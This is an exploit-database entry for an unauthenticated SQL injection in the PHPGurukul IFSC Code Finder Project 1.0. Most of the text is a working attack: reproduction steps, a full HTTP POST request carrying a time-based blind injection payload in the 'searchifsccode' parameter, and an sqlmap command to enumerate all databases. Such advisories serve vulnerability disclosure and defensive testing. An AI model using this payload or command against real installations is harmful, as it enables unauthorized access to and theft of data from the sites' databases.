Ifsc code finder project 1.0 sql injection (unauthenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-10-08 | Type : webapps | Platform : php
This exploit / vulnerability Ifsc code finder project 1.0 sql injection (unauthenticated) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP
# Vulnerable Parameter: searchifsccode

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

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3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command